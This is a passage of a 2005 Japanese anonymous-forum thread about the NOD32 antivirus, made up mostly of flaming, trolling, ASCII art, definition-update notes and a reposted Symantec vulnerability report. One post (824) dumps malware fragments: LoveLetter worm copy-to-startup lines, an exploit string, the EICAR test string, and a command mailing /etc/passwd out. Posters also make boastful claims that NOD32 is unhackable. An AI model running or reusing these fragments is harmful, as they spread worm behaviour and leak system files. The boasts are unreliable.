「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw
727 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:38:07 ]: >>725
低能分析の見本
728 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:39:22 ]: 程度が低いから分かりやすいw
なんてお間抜けな荒らしなんだろ。

もう必死 >> 726-727
729 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:39:35 ]: >>725
ｍ9(^Д^)ﾌﾟｷﾞｬｰｰｰｯ
730 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:40:18 ]: >>728
低能煽りの見本（；＾ω＾）
731 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:41:09 ]: 煽りと言うより、単にバカにしてるだけ？
732 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:42:34 ]: ﾏﾀ低能ﾚｽｷﾀ Y⌒Y⌒Y⌒Y⌒Y⌒Y⌒(｡A｡)!!!
733 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:44:19 ]: おまえら明日も会社だろ？もう寝ろ　俺寝る
734 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:46:25 ]: と言って寝た試しなしｗ
暫くするとすぐ投稿再開->朝までｗ
735 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:48:30 ]: あんたらここで喧嘩せんといっそうのこと社員なった方がええんちゃうん？
二人で組めばいいのできるかもよ？
736 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:49:11 ]: >>734
そんなこと言うと、スレ主が意地になって朝までカキコを我慢するかもよ？（ｗ
737 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:49:38 ]: 1.1330 (20051220)
738 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:50:12 ]: >>736
彼には我慢は無理なんじゃないかと。
739 名前：736 mailto:sage [2005/12/21(水) 01:51:30 ]: すまん。読みが甘かった。orz
すぐカキコ再開したよ。
740 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:52:26 ]: ( ´,_ゝ`)ﾌﾟｯ
741 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:53:09 ]: >>738
他人には「スルーしろ」と繰り返すくせに、
言ってる本人がスルーできたことがない罠。
742 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 01:53:53 ]: ＞＞741
ﾜﾗﾀ
743 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 02:00:40 ]: NODは絶対にハッキングされない　既に証明されている
ウイルスに関しても数ある中で無敵だろう
744 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 02:04:39 ]: >>739
俺の勝ちだな　もう寝ろ
745 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 02:30:18 ]: >>716
お前は改行を知らないから誰なんだかすぐわかるな。
746 名前：名無しさん＠お腹いっぱい。 [2005/12/21(水) 02:33:14 ]: ｍ９（＾Д＾）プギャーーーッ　
747 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 04:21:00 ]: ( ´,_ゝ`)ﾌﾟｯ >>743
ｍ９（＾Д＾）プギャーーーッ！！！
ひとつのソフトで守りきれるわけないだろう
絶対はない　
748 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 04:38:36 ]: 漏れなんかNOD存在自体から知らないからググってみた
のだが吃驚。
わりかし検索件多いのでｗｗｗ
749 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 04:45:48 ]: ↑
NODって、キーワードいれてるだけ
藻前インターﾌｪｰｽだよ。
750 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 04:53:09 ]: ☆なんだかこのスレ潤ってますね☆
751 名前：名無しさん＠お腹いっぱい。 [2005/12/21(水) 05:01:27 ]: >>743
アンチウイルスとしては優秀なのは認めるが
ハッキングとなると話は全く別になる
よって貴様は馬鹿
よってａｇｅ
752 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 05:06:44 ]: >>751
常駐してんならでてこいよ
指が冷たいいのはわかるけど
753 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 05:17:55 ]: >>752
ちょっとハズイけど・・・禿同
754 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 05:36:35 ]: 珍もはずかしい使うの
755 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 05:41:08 ]: 香具師乙！
756 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 06:01:18 ]: ぶっちゃけハッキングされないことなんかどこも証明してないし出来るわけもないし・・・
757 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 06:04:00 ]: 昨夜も一晩中、鬱垂れ流しかw
そこまで病んでいると見てる此方も流石に気色悪いぜ。
自演で永遠と糞を垂れ流すとはな。
758 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 06:16:50 ]: 釣られるなよｗ
759 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 06:24:08 ]: メモリーが足りないし頭も足りない
760 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 06:30:03 ]: ここは粘着の巣窟ですか？
761 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 06:39:57 ]: 皆からのおながい
はやく過疎って！！！
762 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 06:47:54 ]: >>643
＞NOD32ユーザーはここに粘着して荒らしている奴よりずっと知識も豊富でまともだよ

どこがだよｗ
ど　こ　が　まともなんだ？ｗｗｗｗ
知識って何の知識だ？
NODでハッキングも防げるなんて間抜けな発言をするやつが豊富な知識を持ってるとでも？

そもそも俺はな、荒れるのを防ぎたいなら言いたいことをぐっと我慢することも必要だって言ってんだよ
一言一言一々反応してりゃ、そりゃ荒らしのいい玩具にされるだろうなｗｗｗ
763 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 07:08:47 ]: そもそもウイルスとハッキングツールは別物
764 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 07:35:52 ]: > NODでハッキングも防げるなんて間抜けな発言をするやつが豊富な知識を持ってるとでも？
その書き込み、流れからみて荒らしの自演自作。
後で叩く為に書き込んだと予想される。

程度が低いから直ぐに分かるw
765 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 08:08:40 ]: >>764
お前自身が同じレベルまで落ちてるがな
766 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 08:18:50 ]: > そもそも俺はな、荒れるのを防ぎたいなら言いたいことをぐっと我慢することも必要だって言ってんだよ
> 一言一言一々反応してりゃ、そりゃ荒らしのいい玩具にされるだろうなｗｗｗ

それムダムダ。
住み着いている荒らしはPart2から居座っている。
放置しようが何しようがムダ。
一人遊びや、他スレ荒らし、外部から呼び込み何でもありの人。
暇なときに適当にあしらっておくのが一番無難。
767 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 08:29:32 ]: おはよう、スレ主くん。
やっぱり我慢できず朝まで自演してたんだね。（　´∀｀）ｙ－
君も朝起きて仕事に出る生活に戻りなさい。
768 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 08:45:56 ]: と、自演荒らし行為を他人に擦り付ける無様。

程度が低いから直ぐに分かるw
769 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 08:52:16 ]: 工エｴ（　・∀・）ｴエ工醜い
770 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 08:54:09 ]: レス見て確認、荒らしさん貫徹おめ～

625 名前：名無しさん＠お腹いっぱい。投稿日：2005/12/20(火) 16:38:38
から
767 名前：名無しさん＠お腹いっぱい。投稿日：2005/12/21(水) 08:29:32
まで

そろそろ睡眠時間ですね。
次に起きて来るのは夕方かな？
771 名前：名無しさん＠お腹いっぱい。 [2005/12/21(水) 09:00:58 ]: レス数だけは凄いが中身は全く無いなｗｗｗｗｗｗｗ
ここの住人の中身と一緒だねｗｗｗｗｗｗｗｗｗｗｗｗｗ
772 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 09:23:48 ]: おまえがな。
773 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 09:30:06 ]: ﾌ━━━(　´_ゝ`)━━━ﾝ!!
774 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 09:35:26 ]: 冬休みだよなぁ
775 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 09:37:28 ]: >>771
ていうかお前気づくの遅すぎ、ここの住人以下だわ
ここの人達はそういうの超越してるから
いろんな意味でｗ
776 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 10:01:02 ]: フォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォー
フォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォー
フォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォー
フォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォー
フォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォー
フォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォー
フォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォー
フォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォー
フォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォーフォー
　,､i｀ヽ　　　　　　　　　　　　　　　　　　　 ,r‐'ァ
　｀ヽ：：　　　　　　　　　　　　　　　　　　　：：´
　　ヽヽ　　　　　　 , -‐--､　　　　　　 /　/
　　　ヽ　＼　　　　 I:：：：：：:I_ 　　　　_ /　/
　　　　ヽ　ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　　ヽ　` ｰ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　　 ` ､_ ／：:: `山'::::：　　　／
　　　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　〉::::::::|::::::::::¨/
　　　　　　　　　/;;;;;;;/;;;;;;;;;;/
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ　))
　　　　　／　ヽI,r''"""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ
777 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 10:14:08 ]: 777ゲト
778 名前：名無しさん＠お腹いっぱい。 [2005/12/21(水) 10:52:20 ]: 他所を荒らすなっつーの
779 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 10:55:58 ]: age厨房のクソガキに言われる筋合いはない
780 名前：名無しさん＠お腹いっぱい。 [2005/12/21(水) 10:59:26 ]: ツー事は荒らしてる自覚はあるんだな
781 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 11:01:27 ]: >>778
低脳荒らしのおでましですか?
782 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 11:11:20 ]: NOD住所入れなきゃだめなのね
783 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 13:31:54 ]: 今回のセキュリティ・ホールは，RAR形式の圧縮ファイルを取り扱うライブラリ「Dec2Rar.dll」が原因。

以下の製品が影響を受けるとしてリストアップしている。

* AntiVirus Corporate Edition 8.x／9.x／10.x
* AntiVirus for Caching 4.x／Network Attached Storage 4.x／SMTP Gateways 3.x
* AntiVirus Scan Engine 4.x
* AntiVirus/Filtering for Domino 3.x
* Brightmail AntiSpam 4.x／5.x／6.x
* Client Security 1.x／2.x
* Mail Security for Domino 4.x／Exchange 4.x／SMTP 4.x
* Norton AntiVirus 2001／2002／2003／2004／2005
* Norton AntiVirus 5／5.0 for OS/2
* Norton AntiVirus Corporate Edition 7.x
* Norton AntiVirus for Macintosh 9.x／10.x
* Norton AntiVirus for Microsoft Exchange 2.x／3.x
* Norton AntiVirus Solution 7.5
* Norton Internet Security 2001／2002／2003／2003 Professional／2004／2004 Professional／2005
* Norton Internet Security for Macintosh 3.x
* Web Security 2.x／3.x

これら以外にも，Dec2Rar.dllのバージョン3.2.14.3を含むすべての製品が影響を受けるという。

該当製品の設定を変更して，RAR形式ファイルはスキャンしないようにすることも回避策となる。
itpro.nikkeibp.co.jp/article/NEWS/20051221/226589/

SmartScanを有効にし、かつ圧縮ファイルの内部をスキャンしない設定にて回避可能
784 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 13:51:51 ]: Nortonやっちまったな・・・・
重いわ高価いわ穴だらけだわじゃ、どうしようもないわな。
785 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 13:56:40 ]: セキュリティソフトにセキュリティホールか。
書庫関係のセキュリティホールは他のでも昔あったしなぁ。
786 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 15:00:34 ]: 基地害も自治厨も自作自演もお昼時はみんなお休み♥
787 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 15:23:02 ]: つ1.1331 (20051220)
788 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 16:07:07 ]: ttp://www.itmedia.co.jp/enterprise/articles/0512/21/news015.html
Symantecのウイルス対策ソフトに重大な脆弱性

Nortonはもう駄目だね。
これからはNOD32の時代だね。
789 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 16:26:27 ]: >>1
もう次のスレ立てるなよ
790 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/21(水) 17:16:48 ]: NOD厨ですね＾＾
791 名前：名無しさん＠お腹いっぱい。 [2005/12/21(水) 19:07:58 ]: 今一番動作が軽い有料のソフトは、NODなのでしょうか？
ウイルスセキュリティがすごく軽いと言われて買ったのですが、
エラー多すぎ未対応ウイルス多すぎ。そして、NODを知りました。
NODが今のところ一番軽いのでしょうか？
792 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 19:14:18 ]: NODこそが最強

そしてＳＥＸＹ
793 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 19:42:47 ]: >>791
ごちゃごちゃ言ってねえで体験版使ってみれ
794 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 19:49:36 ]: >>788
ﾋﾄﾞｽｗｗｗｗゴミソフトｗｗｗｗｗｗｗｗｗ
795 名前：767 mailto:sage [2005/12/21(水) 20:34:23 ]: >>768
お約束の莫迦レス、ご苦労さん。（　´∀｀）ｙ－
796 名前：名無しさん＠お腹いっぱい。 [2005/12/21(水) 20:40:45 ]: 名無しなウォーニングマン
797 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 20:50:30 ]: NODかわいいよNOD
798 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 20:51:45 ]: うはｗｗｗｗｗｗｗｗｗｗｗ

ちょｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

何このスレｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗハズカシスｗｗｗ
799 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 20:52:13 ]: 起きしなに一レスって感じだな。
今日も良く腐ってるw
800 名前：名無しさん＠お腹いっぱい。 [2005/12/21(水) 20:57:06 ]: 800 ｷﾀｷﾀｷﾀｷﾀ━━━(ﾟ∀ﾟ≡(ﾟ∀ﾟ≡ﾟ∀ﾟ)≡ﾟ∀ﾟ)━━━━!!!!!!!!!!
801 名前：名無しさん＠お腹いっぱい。 [2005/12/21(水) 23:44:32 ]: 1.1332 (20051221)
802 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/21(水) 23:50:11 ]: >>798
山田ウイルスのネタもハズカシスｗ
803 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 00:27:06 ]: 　　ワケ　　　　　ワカ　　　　　メ♪
　 ∧＿∧　　　∧＿∧　　　　））＾）
　（　・∀・）　　（　・∀・）　　　（（　（
⊂　⊂　）　　（　Ｕ　　つ　　　））　）
　<　<　<　　　　）　）　）　　　（（　（
　（＿（＿）　　（_＿）＿）　　　））　）
804 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 00:27:20 ]: 動作も軽くヒューリスティックの性能も優れていて
なおかつ検出率も良いとは文句の付けようがないな。
805 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 00:29:28 ]: ほめ殺しも効果が薄れてますね
806 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 00:31:33 ]: 　　　〃∩ ∧＿∧
　　　⊂⌒（　・ω・）　　はいはいわろすわろす
　　　　｀ヽ_っ⌒/⌒ｃ
　　　　　　　 ⌒ ⌒
807 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 00:32:16 ]: 自分にレスするスレはここですか？
808 名前：名無しさん＠お腹いっぱい。 mailto:ｓage [2005/12/22(木) 00:39:06 ]: >>804
シグネチャの配布が遅い
809 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 00:48:31 ]: まぁ圧縮形式対応率もそんな高くはないね
810 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 00:55:07 ]: NODかわいいよNOD
811 名前：名無しさん＠お腹いっぱい。 [2005/12/22(木) 01:03:47 ]: おまえと話すのやめたつまらん
812 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 01:11:39 ]: まあ飲め。

　　　　　　　　　　　　　　(　)　）'
　　　　　 _ ,,,..._　　　　(　）
　　　,,イ';;＾;;;;;;;: ｀ヽ
　／;;::◎'''::;　）;;;:::: ヾミ､__
　≧_ﾉ　　__ノﾉ三　ヾﾐ　`i
　　　~''''ｰ-:､___ ヽ　　｀_,.ン|
　　　　　　l　　　￣￣...:;:彡|
　　　　　　}　　. . ...::::;:;;;;;彡{
　　　　　　ｉ　　　. . ...:::;;;;;彡|
　　　　　　} 　 . .....:::;::;:;;;;彡{
　　　　　　!,　　　 . .:.::;:;;;彡j
　　　　　　ト ,　 . ....,:;:;:=:彳
　　　　　　ヽ､..　....::::...;;;ジ
813 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 01:48:31 ]: 伝説のソフトだな。
814 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 14:27:32 ]: 基地害も自治厨も自作自演もお昼時はみんなお休み♥♥
　
それにしても午後13時～17時頃まではホント荒らしクンお休みみたいねｗ
815 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 14:55:49 ]: 　　？？？？？？？？？:: ::　　　　　？？▲
　　？？？？？？？？::: ::　.:？::　　　？？？？
　　？？？？？？？？？？？？:::　　　？？？？
　　？？？？？？？？？？:？:？？？　　　？？？
　？？？？？？？？？？？？？？？？？　？？？？
　？？？？:::？？？？？？ .:？　？？？？？　？？？
？？？？？::▼？？？？？？　　？？▼■　？
？？？？？？？ .:::？？？？？〓:: 　　　　？？？　
？？？▼？？？？？？？:: 　　　　　　？？？？？
　▼▼■？？？？？？？？？？　　？？？？？？　
？？？？？？？？？？:？？？？？？　？？？？？？
？？？？？？？■？？？？？？？？？？？？？？？
？？？？？？？？？？？？？？？？？？？？？
？？？？？？？？？？？？？？？■？？
816 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 15:11:07 ]: 釣れました！（￣ー￣）ﾆﾔﾘｯ
817 名前：名無しさん＠お腹いっぱい。 mailto:sagｅ [2005/12/22(木) 17:34:27 ]: NOD32よりはNAVの方がいいよな
なんたって検出率が違う
あとはシグネチャの配布速度
818 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 18:03:50 ]: 確かにウイルスばらまく側からしたら、NAVの方がいいな。検出率低いからさ。
819 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/22(木) 18:06:15 ]: >>818
お得意の試験結果みりゃ、どっちが上かは馬鹿でもわかるだろ？
820 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 18:11:47 ]: 体験版インスコしてみたけど俺には使いこなせそうにない
821 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 18:11:56 ]: >>819
そうだね。NOD32の方が検出率が上なのは数値が証明している。
ノートンも悪くは無いと思うけどね。
822 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 18:16:25 ]: 比較をすると自治厨が出てくるぞ…
823 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 19:11:42 ]: あんま検出力は気にしないよ。軽いから使ってるだけで。
824 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 19:58:52 ]: c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 　　
ms-its:mhtml:file://c:\　
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com
825 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 20:20:35 ]: >>820
使いこなすほどいじるところあったか？
826 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 20:41:48 ]: 体験版入れてみたけど、これ軽いねえ
827 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 22:10:12 ]: >>814-826
自演乙
828 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/22(木) 22:59:39 ]: 1.1333 (20051222)
829 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 00:03:28 ]: 今朝送ったスパイウェアが1.1333の定義でもう対応してる。
スパイウェアにろくに対応しない何処かの糞メーカーと違って素早い対応だなw
830 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 00:08:01 ]: >>829
NOD32定義ファイル: 1.1333 (20051222)
JS/TrojanDownloader.Phel.F (2), Win32/Adware.SpyAxe, Win32/Adware.Toolbar.Dashbar (2),
Win32/Agent.DT (2), Win32/Bifrose (2), Win32/Bifrose.E, Win32/Brontok.AI, Win32/Brontok.AP (2),
Win32/Brontok.AQ (2), Win32/Exploit.MS05-039.X, Win32/Guap.F, Win32/Hupigon (2),
Win32/Lovsan.S (2), Win32/PcClient (5), Win32/PSW.Legendmir.NCI, Win32/PSW.Maha.A (5),
Win32/Rbot (3), Win32/Robobot (2), Win32/Sinit, Win32/Sinit.C, Win32/Small.EV (2),
Win32/SpamTool.Mailbot.L, Win32/Spy.Agent.DT (3), Win32/Spy.Bancos.U, Win32/Spy.Banker.CV,
Win32/Spy.Banker.VJ, Win32/Spy.Gepost (3), Win32/SpyBot, Win32/TrojanClicker.VB.JB,
Win32/TrojanDownloader.Agent.BQ, Win32/TrojanDownloader.IstBar, Win32/TrojanDownloader.
Small.AMB, Win32/TrojanDownloader.Small.AVT, Win32/TrojanDownloader.Small.BEZ,
Win32/TrojanDownloader.Small.BVJ, Win32/TrojanDownloader.Small.NGC,
Win32/TrojanDropper.Oleloa, Win32/TrojanDropper.Small.NBG, Win32/TrojanProxy.Daemonize,
Win32/TrojanProxy.Ranky (2), Win32/VB.AGS (2), Win32/VB.NDV (2)
831 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 00:08:10 ]: >>829
いい加減こういう民度の低いレスはやめてくれないかな。
NODの有益な情報がまったく入ってこない。
832 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 00:10:16 ]: >>829
どのスパイウェアだ？　更新分を見る限り普通に自動対応っぽいんだが。
833 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 00:20:54 ]: >>832
釣られてるんじゃないよ
スルーしとけ煽ってるだよ！
834 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 01:36:38 ]: ＞煽ってるだよ！
田舎者ですか？
835 名前：名無しさん＠お腹いっぱい。 [2005/12/23(金) 02:00:27 ]: ちんこしゃぶって～まま!
836 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 02:12:59 ]: 原文にあたろうねに該当するページが見つかりませんでした。

検索のヒント
キーワードに誤字・脱字がないか確かめてください。
違うキーワードを使ってみてください。
より一般的な言葉を使ってみてください。
837 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 02:14:54 ]: 糞さを実感の検索結果のうち日本語のページ約 19 件中 1 - 10 件目 (0.62 秒)
838 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 02:17:02 ]: ﾁﾝﾁﾝ
839 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 02:18:36 ]: ny使いの俺でもようやく安心して使えるようになっただよ。
840 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 02:26:41 ]: ＞なっただよ
田舎者ですか？
841 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 02:36:32 ]: まちゃまちゃのパロだって言ってるだよ。
842 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 02:38:40 ]: まちゃまちゃのパロに該当するページが見つかりませんでした。

検索のヒント
キーワードに誤字・脱字がないか確かめてください。
違うキーワードを使ってみてください。
より一般的な言葉を使ってみてください。
843 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 03:49:10 ]: で、NOD使ってる人はFWソフト入れてるの？
煽りじゃなくて、入れるなら何にしようか悩んでるので。
844 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 03:50:35 ]: ZA使ってる。
845 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 03:55:17 ]: チョンチョン
846 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 04:02:35 ]: >>844
NOD+ZAはノートンインターネットセキュリティー2003よりも
軽いですか？　もし分かったら教えて。
847 名前：名無しさん＠お腹いっぱい。 [2005/12/23(金) 04:21:24 ]: >>846
軽い
でも機能的にどっちが上かは微妙
848 名前：名無しさん＠お腹いっぱい。 [2005/12/23(金) 06:05:23 ]: なんかね、ｗｉｎ起動時にNODが立ち上がってないんすけど仕様っすか？
OSはｗin2kね
849 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 06:15:26 ]: >>848
大丈夫。見えなくてもちゃんと立ち上がってるから。馬鹿には見えないの。
850 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 06:22:17 ]: >>846
2003はしばらく使ってないから比較できんけど、
2004よりは圧倒的に軽い。
2005よりは軽いことは軽い。スペックのいいＰＣだとあんまり変わらんけど。
2006は知らん。
851 名前：名無しさん＠お腹いっぱい。 [2005/12/23(金) 06:53:38 ]: PCがやたら重いと思ったらNODのCPU使用率が常時50～90%を維持してるんですが
不具合発生ですか？
852 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 06:56:27 ]: >>851
大丈夫。お前のパソコンだけだから。安心して使え。
853 名前：名無しさん＠お腹いっぱい。 [2005/12/23(金) 06:58:43 ]: >>852
おい
俺は真面目に喋ってんだよ
てめーふざけんな
854 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 07:24:32 ]: NOD32ってあんまり売れてないね
855 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 07:46:25 ]: このスレを見ればそりゃ買う気無くすよなｗ
俺は一ヶ月試用してNOD32に決めた
体感するのが一番手っ取り早いな

しかしノートン売れまくってるねぇ
みんな良いＰＣ持ってるのね…
856 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/23(金) 07:52:35 ]: >>855
あんた馬鹿？
いいソフトだから売れるんだよ
それが市場の原理
もう少し勉強したら？ｗ
857 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 08:02:01 ]: ﾄﾞ素人やｵｻｰﾝは店頭で山積みになってるほう選ぶと思うが。
NOD32なんて3個が縦積みで置いてあって探したもん。
858 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/23(金) 08:03:54 ]: >>857
売れてないから数も少ない
そこまで説明せんと理解できんのか？？
859 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 08:07:05 ]: ﾊﾞｶが多いというのは理解してる
860 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 08:07:38 ]: >>857
そうか？　緑のパッケは他にないからすぐわかったけど。
861 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 08:09:25 ]: ダイヤモンドやゴールドと同じで良い物は数が少ない。これが原則だよ。
862 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/23(金) 08:10:49 ]: NODの悪い点

